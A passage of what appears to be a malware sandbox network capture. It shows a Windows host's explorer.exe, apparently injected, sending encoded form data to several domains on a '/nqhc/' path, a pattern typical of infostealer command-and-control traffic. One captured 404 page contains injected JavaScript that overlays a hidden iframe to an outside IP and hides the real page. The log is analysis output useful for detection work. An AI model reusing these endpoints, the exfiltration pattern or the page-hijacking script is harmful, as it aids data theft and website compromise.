8iKzUaPnmJZ1TQgJdbTkrCMgTLWdAs3TMjAL_RIyb0LcET8vwweWcclnvN0KpzdAgICydix1gC5i1Qr2JM-XQ~1hYOX
Dec 5, 2022 15:19:42.755187035 CET	12710	OUT	Data Raw: 4a 66 52 6d 7a 39 71 4f 76 75 35 61 37 30 73 54 73 6d 7a 72 65 77 41 70 4e 45 39 77 30 4c 5a 56 43 78 32 47 66 39 28 38 54 70 54 4d 54 70 36 38 64 48 47 41 69 2d 32 39 51 67 33 4e 7a 4a 6e 4e 32 50 6b 52 43 4a 47 44 38 70 28 47 61 4a 37 74 55 57 Data Ascii: JfRmz9qOvu5a70sTsmzrewApNE9w0LZVCx2Gf9(8TpTMTp68dHGAi-29Qg3NzJnN2PkRCJGD8p(GaJ7tUWgEvEJZ91I0EOhDxL7l(9RuEsq-2djGg0U2kFeOzxjMIQrQRV5B9fFbSdho1fJNbmbln0er48IqaW4UKb3z4PrbjOqFp9h33l3QQse84uEZO1dm0xJ4tJHjeWVdsxzlxJEg5LRCM2I2CIIdPEBThNkHIwp0nj1sh51
Dec 5, 2022 15:19:42.755268097 CET	12717	OUT	Data Raw: 66 4b 5a 70 66 41 4e 72 76 68 31 51 73 70 70 39 6d 79 79 43 4a 68 56 75 36 41 54 4d 31 55 62 43 52 75 6f 6e 57 7a 56 74 76 58 52 59 44 57 37 45 61 41 61 59 51 38 6b 31 4e 4f 47 54 73 45 76 74 6e 57 4f 4a 79 54 62 57 6e 50 57 49 59 66 31 6e 6d 74 Data Ascii: fKZpfANrvh1Qspp9myyCJhVu6ATM1UbCRuonWzVtvXRYDW7EaAaYQ8k1NOGTsEvtnWOJyTbWnPWIYf1nmtOxMhdGX_ljBaAphYWozMsmuFxACLA7RICJdbWV(X(RFis7RFiS~Znct11idUPfKqbGYn86K2H_Pfk9zTnF5p8lm2MZ4DEQAqLgRS(Q~vlssMRwUxeMLyrtrRTTr8hklN0DUmBlVOVXH98nvjtCEhGIzaHsPR7-kKI
Dec 5, 2022 15:19:42.755528927 CET	12720	OUT	Data Raw: 64 44 4e 6d 63 64 6b 63 63 56 39 4e 30 6e 79 79 41 71 4b 6a 32 58 65 68 6e 64 51 44 52 5f 28 4a 53 53 41 73 7a 38 56 78 32 79 46 4d 65 53 46 78 6d 67 50 44 58 79 52 54 76 73 47 46 6a 71 68 4e 72 4d 76 77 36 6d 41 70 76 4f 4c 63 72 66 48 4f 62 37 Data Ascii: dDNmcdkccV9N0nyyAqKj2XehndQDR_(JSSAsz8Vx2yFMeSFxmgPDXyRTvsGFjqhNrMvw6mApvOLcrfHOb7hVmtqv9SA66enoSflWQJsbe_mYc5NLSwBluIjGvku-nq~TxPH_wGGt4mkEubxmxZwY0Juyr6jMsD5o7ZcATNoH6mRMkUYCQu(YJcFgzusmhm~Im-pcXsGHPcmsI1eH40YeOzJwjiX4BfEts8xqQfnx~-FlBz0pmez
Dec 5, 2022 15:19:42.755675077 CET	12721	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Dec 2022 14:19:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"634bbb43-6cd" Content-Encoding: gzip Data Raw: 33 61 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 15 cb 6e dc 36 f0 9e af 60 59 d4 92 60 9b 92 d6 bb 89 bb 92 16 88 d3 06 08 10 b8 3d a4 a7 20 07 4a e2 4a 74 b8 a4 40 72 1f f2 62 bf a2 87 fe 42 cf 0d d0 63 3f 27 40 fe a2 43 49 eb 95 0d e7 a0 11 e7 3d c3 79 30 ad ed 4a 2c 5e a4 35 a3 e5 22 5d 31 4b 51 51 53 6d 98 cd f0 1f 1f de 5e 5e e3 70 91 5a 6e 05 5b 4c a3 29 ba 55 16 bd 55 6b 59 a6 61 4f 4c 4d a1 79 63 17 7c e9 4b ba e1 15 b5 4a 93 b5 61 fa 75 c5 a4 25 56 bd 57 05 15 ec bd da 32 fd 86 1a e6 07 84 cb 92 ed 7e 5b fa 38 a7 bc 5c e3 00 65 19 ba 8c 83 7d a9 8a f5 aa 53 72 ee 50 86 bf fe f7 e5 db 5f 7f 7f fb f3 df af ff 7c c1 87 34 1c 5c a5 82 cb cf 48 33 91 61 5e 28 89 91 6d 1b 06 e7 15 ad 58 b8 bb ec 69 b5 66 cb 0c d7 d6 36 f3 30 9c ce 48 3c 99 90 f8 ea 9a 4c 67 e1 12 e2 04 3d 02 00 2f 8e f1 3f 38 df 6a 6e 99 90 be e7 05 c9 86 6a 64 4c e6 a5 25 df 20 5e 66 d8 d4 6a 5b 08 25 99 a9 99 ac 76 9c 3a f7 c6 b6 02 fc d7 8c 57 b5 9d a3 38 8a 7e 4a d0 96 97 b6 3e 22 39 2d 3e 57 da 5d db 65 a1 84 d2 73 a4 ab dc 9f cc 66 17 e8 08 82 04 8d a4 1a 65 b8 e5 4a ce 11 97 70 a0 e2 f8 7f 24 a5 59 c3 28 78 7c 2a 03 59 f1 a5 a6 2b 86 e0 c6 94 80 eb aa 32 dc 32 83 d1 8a ea 8a cb 3e d2 2c 1a d0 2e 54 c0 50 a7 93 2b 5d 32 9d e1 08 f7 39 64 d8 25 74 42 a6 11 70 06 0b 03 cb e8 22 c3 67 3f c6 d1 34 01 18 bf 1c c1 09 9c 67 d7 00 a6 af 8e 60 d6 d1 ae 1c ea 24 a7 3f 3b 34 3a 82 11 2d 76 b4 4e c4 81 91 da ab 04 32 0c fb 14 e1 00 c5 81 32 ba 22 0c 9d 60 d9 ce 86 85 31 78 e1 9a 7b df 97 a2 2b cb 50 23 77 3e e4 aa 6c d1 77 98 89 da 30 bd 14 6a 3b af 79 59 32 e9 9a cf 39 58 78 09 db 50 e1 e3 c7 ed e2 7b f8 dc 98 73 0c 2d 83 83 c4 ea 76 0f f3 f3 4e 5a a6 9d f0 72 2d 0b 57 4c 3f d8 3b d6 83 6a c5 ec af 82 b9 8e bf 69 df 95 60 93 6f 5e 0b 81 03 d2 b9 22 25 37 8d a0 6d 86 25 f4 1b 3e 14 d4 16 b5 cf 82 fd 61 a9 b4 ef 3a 93 67 51 c2 d3 07 73 2e 1f 52 d4 5c 94 9a 49 22 a0 3f 6d 9d f0 f3 f3 de ab 53 b0 b4 92 50 e1 ec 79 95 8f fc 13 01 89 5b 90 e8 1a 7f d5 42 c7 7f 5f 94 97 09 cc bc 13 fa a1 9f c3 5f f8 26 c6 67 67 03 e5 b9 49 19 8d f8 a3 60 9d e7 67 73 1e 25 7d 38 5c 40 d5 82 11 e5 b4 0f 86 bd 30 be 68 97 40 de 9c c2 2f 34 4c 0a 1b ae db f7 7a 8d 61 c2 8b b5 fe 5d 2b ab 60 34 b3 2d 2c 27 b5 25 02 96 96 2b 19 69 06 06 81 5a 70 eb 7b 73 2f f8 18 7d 72 99 8f b5 b2 cc 73 9b c6 78 c1 3e 6f 88 1b 87 1e 87 d5 73 7f 4f f2 d2 58 b0 56 90 42 ad 42 b7 bb cc 3a 5f 71 1b 36 6b 53 93 3b e3 25 07 26 0c 7b a4 09 8a 1d f7 be a6 d2 7d 15 e9 76 65 67 e1 a4 d6 ad a7 53 8e a7 7e 32 37 ed 87 be 92 3e ee 53 c5 5d d8 86 34 14 9a c3 de aa 92 c1 1a 86 2d 6d 6f 18 b4 13 f3 f3 e6 c2 04 c9 21 f0 83 e4 e9 bd 8e 87 ea 8e 6e e8 60 10 75 53 df a5 0d d1 de 99 6e e9 1b 32 8b 89 a0 e1 24 9e be 8c 67 57 31 a4 e7 46 f5 b8 b8 c3 ee 95 79 91 ba ea c3 af 80 50 98 5e a4 75 fc f4 6d 01 4a 1a 0e 6c 78 9b 40 66 40 24 ac af dd 88 15 0e a6 c2 ee 19 fb 1f 05 e9 27 15 cd 06 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 3adun6`Y`= JJt@rbBc?'@CI=y0J,^5"]1KQQSm^^pZn[L)UUkYaOLMyc\|KJau%VW2~[8\e}SrP_\|4\H3a^(mXif60H<Lg=/?8jnjdL% ^fj[%v:W8~J>"9->W]esfeJp$Y(x\|*Y+22>,.TP+]29d%tBp"g?4g`$?;4:-vN22"`1x{+P#w>lw0j;yY29XxP{s-vNZr-WL?;ji`o^"%7m%>a:gQs.R\I"?mSPy[B__&ggI`gs%}8\@0h@/4Lza]+`4-,'%+iZp{s/}rsx>osOXVBB:_q6kS;%&{}vegS~27>S]4-mo!n`uSn2$gW1FyP^umJlx@f@$'0
Dec 5, 2022 15:19:42.755702972 CET	12726	OUT	Data Raw: 70 4a 45 72 66 33 48 78 66 4b 68 70 67 54 6c 78 51 2d 33 5f 6d 66 6c 55 67 6f 4c 54 4b 50 36 4d 46 7a 59 68 36 45 43 2d 4f 6b 69 7a 51 32 6b 51 43 34 31 36 61 6f 66 6b 31 48 30 69 66 74 74 63 7a 6b 54 76 61 73 33 55 61 4a 4c 37 72 69 38 79 6f 35 Data Ascii: pJErf3HxfKhpgTlxQ-3_mflUgoLTKP6MFzYh6EC-OkizQ2kQC416aofk1H0ifttczkTvas3UaJL7ri8yo5IlhvBrT6Vkana0XrRRlyYd3nCh2uhJf-hTxf6jtLfMHVwTVPw6qlAJ2IIzGvtAgU1M(lPXXsRU3H1U557dS6m2wAKKRpwcGLA_C_061SSirrJ7d_RrU9~TPq4MojkF1wPc2S~goWSyIoACzY8sl9SNJDVute9muWP
Dec 5, 2022 15:19:42.755868912 CET	12729	OUT	Data Raw: 77 5a 63 35 6f 4d 76 50 37 64 37 61 4c 39 36 48 4f 38 75 62 46 68 47 46 4c 31 34 42 64 59 62 79 4e 63 75 6a 6a 4b 61 49 47 54 69 71 57 49 55 6a 48 6b 46 46 63 31 51 5f 38 75 38 37 70 4c 33 56 4e 5f 6b 52 77 63 51 6c 35 64 52 50 6e 47 4c 7a 43 5a Data Ascii: wZc5oMvP7d7aL96HO8ubFhGFL14BdYbyNcujjKaIGTiqWIUjHkFFc1Q_8u87pL3VN_kRwcQl5dRPnGLzCZQA6gcLe1EIibAfFOIR1j0kiIXZKAf6hYeEMLgUy3jf0oUX0ySvSvq1rphdefUA9AFbmorI8DaAzfP-uMqw~K8HPzPmQT81PYi9LgEAkHZutuMu2e3To0EUj85ShMtXgzLtd-U0Rn4LzUYjdCtfHcj9yX0kt674PO8
Dec 5, 2022 15:19:42.756042957 CET	12734	OUT	Data Raw: 62 39 44 74 31 69 62 45 31 35 62 48 51 33 4c 50 35 34 65 45 31 6a 48 44 35 72 53 75 45 78 7a 34 38 31 4c 43 38 6e 64 48 4a 56 6b 32 52 5a 70 6c 6c 78 50 2d 33 69 66 37 48 72 6f 6f 4d 61 68 5f 45 6d 61 6c 76 6e 33 30 34 63 72 77 52 71 6f 32 54 71 Data Ascii: b9Dt1ibE15bHQ3LP54eE1jHD5rSuExz481LC8ndHJVk2RZpllxP-3if7HrooMah_Emalvn304crwRqo2TqGXYoPO~-jPuDgNVsh2AqKbdVv9HIUUjxAbwQTgbJkB3DyXcvAGRJ5MoWxeLf~Sp3HI2hNrn_qtT0WzpfFfJ2Dn8ZMd20e5vtiYSIViD6mwMCN5E3VcwW4f0OdICJ2z(GhtEPPkvOv-NVXmbk4va5VS7YFnQkIdDG3
Dec 5, 2022 15:19:43.006995916 CET	12738	OUT	Data Raw: 65 69 49 30 57 47 75 77 54 65 6e 6b 72 2d 66 52 6a 70 4b 46 41 56 6e 42 4e 36 37 77 6f 71 62 35 61 67 37 75 53 30 7a 69 6c 52 4e 50 5a 58 65 59 4b 63 6d 38 57 30 6b 50 34 74 4c 72 48 65 6e 64 72 44 47 73 39 69 6d 35 30 54 4b 69 33 4c 54 6d 63 63 Data Ascii: eiI0WGuwTenkr-fRjpKFAVnBN67woqb5ag7uS0zilRNPZXeYKcm8W0kP4tLrHendrDGs9im50TKi3LTmcc1GEdzjKytr(tl2RAUPkgo1BVuFi1pdz1dRC2xEpd6vK5V_uzXIhOz2RpK10-ilv3UyMcmGomrfVR6dlG4GjnnMXrgY(OOSMJvk(Gbq2GD711g4LDRjygYtOVbd8tUYvAxUQG3XEaqIadyXq6Hu7etN(qAzetF_VnD
Dec 5, 2022 15:19:43.007101059 CET	12748	OUT	Data Raw: 28 34 30 77 68 65 68 4f 75 2d 57 4c 70 4c 31 4d 37 32 42 4e 4e 33 48 4a 75 55 32 5f 73 5f 41 6e 76 4a 44 6b 32 62 32 7a 28 6f 4d 31 4d 36 61 34 51 74 32 30 43 32 38 5a 7e 69 39 55 7a 65 75 37 4d 6d 70 72 34 36 4b 77 68 6c 7a 51 38 51 45 66 61 69 Data Ascii: (40whehOu-WLpL1M72BNN3HJuU2_s_AnvJDk2b2z(oM1M6a4Qt20C28Z~i9Uzeu7Mmpr46KwhlzQ8QEfaiLEXUzSNaZbT6rDgivN(uXH~barHHxYquYkbmHHw0AST846gFL8eBGwcbgS786p7CGSzwEXp2X505ZqhOPDAUvVEkVQn_RiPjk_ns(Xppr6O8htkvNdE9Q1ABYjQd0R7AfHpkBCpB4kYPi3trvs98iAgegjUuWlsuC

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.11.20	49938	103.63.2.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:19:44.781097889 CET	12749	OUT	GET /nqhc/?7nWHV=OyL0MBeXxkJ8chUEliFq9s6bwomTkxJ31rz9dsojrpNScTyiwKCDYYQmiQ8xCDXEzp0hbp4MCFP9aLVw4Be6pAeHIY4JilfakQ==&t0D=yFNHS0IX HTTP/1.1 Host: www.005404.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:19:45.032748938 CET	12750	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Dec 2022 14:19:44 GMT Content-Type: text/html Content-Length: 1741 Connection: close Vary: Accept-Encoding ETag: "634bbb43-6cd" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 3e 69 66 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 63 61 6c 65 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 62 61 69 64 75 22 29 20 3d 3d 20 2d 31 29 7b 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6c 65 20 3d 22 e6 be b3 e9 97 a8 e9 93 b6 e6 b2 b3 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 34 35 2e 31 32 32 2e 31 33 38 2e 34 35 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c 6e 28 27 27 29 3b 76 61 72 20 73 73 3d 27 3c 64 69 76 20 69 64 3d 22 73 68 6f 77 63 6c 6f 6e 65 73 68 65 6e 67 78 69 61 6f 6e 22 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 20 31 30 30 25 3b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 29 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 69 6e 69 74 69 61 6c 20 69 6e 69 74 69 61 6c 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 69 6e 69 74 69 61 6c 20 69 6e 69 74 69 61 6c 3b 22 3e 3c 69 66 72 61 6d 65 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 79 65 73 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 30 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 30 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 77 69 64 74 68 3d 22 31 34 30 30 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 73 72 63 3d 22 26 23 31 30 34 3b 26 23 31 31 36 3b 26 23 31 31 36 3b 26 23 31 31 32 3b 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 35 32 3b 26 23 35 33 3b 26 23 34 36 3b 26 23 34 39 3b 26 23 35 30 3b 26 23 35 30 3b 26 23 34 36 3b 26 23 34 39 3b 26 23 35 31 3b 26 23 35 36 3b 26 23 34 36 3b 26 23 35 32 3b 26 23 35 33 3b 26 23 34 37 3b 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 64 69 76 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 68 74 6d 6c 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 20 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 3c 2f 73 74 79 6c 65 3e 27 3b 65 76 61 6c 28 22 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 22 2b 73 73 2b 22 27 29 3b 22 29 3b 74 72 79 7b 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 64 69 76 41 6c 6c 22 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 7d 63 61 74 63 68 28 65 29 7b 7d 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 68 69 6c 64 72 65 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 7b 74 72 79 7b 76 61 72 20 74 61 67 6e 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 68 69 6c 64 72 65 6e 5b 69 5d 2e 74 61 67 4e 61 6d 65 3b 76 61 72 20 6d 79 69 64 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 68 69 6c 64 72 65 6e 5b 69 5d 2e 69 64 3b 69 66 28 6d 79 69 64 21 3d 22 69 63 6f Data Ascii: <html><head><meta charset="UTF-8"/><title>404 Not Found</title><script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title =""}</script><link rel="icon" type="image/x-icon" href="http://45.122.138.45/favicon.ico"><script>document.writeln('');var ss='<div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><iframe scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="1400" height="100%" src="http://45.122.138.45/"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}</style>';eval("document.write('"+ss+"');");try{setInterval(function(){try{document.getElementById("divAll").style.display="none"}catch(e){}for(var i=0;i<document.body.children.length;i++){try{var tagname=document.body.children[i].tagName;var myid=document.body.children[i].id;if(myid!="ico
Dec 5, 2022 15:19:45.032840967 CET	12751	IN	Data Raw: 6e 44 69 76 31 22 26 26 6d 79 69 64 21 3d 22 73 68 6f 77 63 6c 6f 6e 65 73 68 65 6e 67 78 69 61 6f 6e 22 29 7b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 68 69 6c 64 72 65 6e 5b 69 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 Data Ascii: nDiv1"&&myid!="showcloneshengxiaon"){document.body.children[i].style.display="none"}}catch(e){}}},100)}catch(e){}</script><script>(function(){var bp=document.createElement('script');var curProtocol=window.location.protocol.split(':')[0];if(cur

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.11.20	49941	66.29.151.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:19:58.280198097 CET	12777	OUT	POST /nqhc/ HTTP/1.1 Host: www.gouldent.site Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.gouldent.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gouldent.site/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 34 61 4e 65 54 68 4e 4b 78 6b 45 45 69 47 6b 58 47 74 4d 66 67 68 50 53 46 6d 38 41 36 78 53 4d 69 73 75 55 64 45 71 66 6c 7a 51 7a 4c 76 38 51 6b 57 70 4f 7a 6e 4c 73 73 6f 28 32 67 50 61 6f 32 2d 28 7a 33 5a 6e 6d 39 4d 6f 6f 49 54 55 51 6d 66 6d 4d 32 39 77 75 7a 48 73 6d 51 31 41 73 53 54 52 34 77 4a 68 4f 6c 55 4f 41 52 56 74 32 32 55 52 66 59 6d 69 72 47 63 33 5a 30 6e 4e 44 51 63 56 4b 48 4c 45 38 46 68 55 58 79 4d 62 6f 43 47 6a 75 37 37 39 63 75 30 4e 7a 7e 77 6c 30 68 49 45 69 62 79 4b 55 4c 49 4e 44 73 67 75 6a 6a 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=4aNeThNKxkEEiGkXGtMfghPSFm8A6xSMisuUdEqflzQzLv8QkWpOznLsso(2gPao2-(z3Znm9MooITUQmfmM29wuzHsmQ1AsSTR4wJhOlUOARVt22URfYmirGc3Z0nNDQcVKHLE8FhUXyMboCGju779cu0Nz~wl0hIEibyKULINDsgujjg).
Dec 5, 2022 15:19:58.593535900 CET	12778	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:19:58 GMT Server: Apache Content-Length: 570 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.11.20	49942	66.29.151.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:20:00.467168093 CET	12779	OUT	POST /nqhc/ HTTP/1.1 Host: www.gouldent.site Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.gouldent.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gouldent.site/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 34 61 4e 65 54 68 4e 4b 78 6b 45 45 77 32 30 58 56 65 6b 66 68 42 50 52 5a 57 38 41 30 52 53 49 69 73 69 55 64 46 75 50 6b 42 30 7a 49 4b 59 51 32 44 46 4f 77 6e 4c 73 7e 49 28 33 76 76 62 6d 32 35 32 4f 33 64 6e 6d 39 49 34 6f 49 67 73 51 33 5f 6d 50 39 64 77 70 30 48 73 6c 62 56 41 6d 53 54 64 56 77 49 6c 4f 6c 46 69 41 51 58 46 32 79 41 46 63 64 47 69 70 54 4d 33 59 7e 48 4e 6b 51 63 6f 31 48 4b 74 48 45 54 49 58 79 73 37 6f 51 57 6a 68 68 37 38 55 78 45 4d 74 78 69 45 62 6d 70 45 4b 4d 51 61 7a 4b 72 51 51 76 6b 47 70 28 4c 4f 6a 71 6d 59 78 4f 79 58 5f 33 67 42 44 4d 64 6a 41 57 33 69 50 48 54 39 67 4f 52 4f 36 68 6a 38 63 75 4d 53 6b 34 34 4d 6d 63 72 79 41 5a 45 37 57 65 4a 6b 4b 28 78 79 68 62 71 48 79 4b 6c 74 30 58 63 34 53 62 44 42 38 70 62 77 49 74 79 52 6f 78 4d 52 77 7a 32 65 71 56 5a 4b 37 58 31 32 61 51 67 58 6a 57 5a 67 68 6f 37 30 6c 6b 61 66 65 32 34 4a 58 67 37 68 7a 70 56 35 4f 4e 51 4e 41 33 72 38 71 4a 34 46 46 7e 54 6a 74 4a 55 59 6c 36 47 31 45 73 63 7e 5f 46 48 61 39 73 4c 65 72 76 2d 42 4c 36 44 33 6c 4f 77 79 5f 48 62 7a 6a 42 56 39 46 6a 4c 52 63 4b 61 65 71 6a 70 73 47 76 76 69 66 51 68 7e 38 56 30 75 75 63 33 48 69 38 5a 32 4c 43 78 4a 7a 30 36 43 75 35 31 43 67 77 66 34 76 73 36 4c 75 45 41 7e 4e 71 35 62 43 70 61 38 6d 58 7a 4e 31 75 48 76 4d 38 71 46 6a 61 4c 35 75 41 74 6e 77 71 30 67 35 49 58 79 50 5a 45 61 33 6c 46 32 42 70 64 77 50 7a 58 41 7a 67 38 58 57 54 79 4e 41 59 6d 67 30 54 4d 75 68 41 55 55 73 46 7a 6e 43 67 75 6b 44 78 48 49 79 37 6d 39 2d 7e 6a 6a 66 48 58 6a 58 74 73 30 67 78 73 38 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=4aNeThNKxkEEw20XVekfhBPRZW8A0RSIisiUdFuPkB0zIKYQ2DFOwnLs~I(3vvbm252O3dnm9I4oIgsQ3_mP9dwp0HslbVAmSTdVwIlOlFiAQXF2yAFcdGipTM3Y~HNkQco1HKtHETIXys7oQWjhh78UxEMtxiEbmpEKMQazKrQQvkGp(LOjqmYxOyX_3gBDMdjAW3iPHT9gORO6hj8cuMSk44MmcryAZE7WeJkK(xyhbqHyKlt0Xc4SbDB8pbwItyRoxMRwz2eqVZK7X12aQgXjWZgho70lkafe24JXg7hzpV5ONQNA3r8qJ4FF~TjtJUYl6G1Esc~_FHa9sLerv-BL6D3lOwy_HbzjBV9FjLRcKaeqjpsGvvifQh~8V0uuc3Hi8Z2LCxJz06Cu51Cgwf4vs6LuEA~Nq5bCpa8mXzN1uHvM8qFjaL5uAtnwq0g5IXyPZEa3lF2BpdwPzXAzg8XWTyNAYmg0TMuhAUUsFznCgukDxHIy7m9-~jjfHXjXts0gxs8.
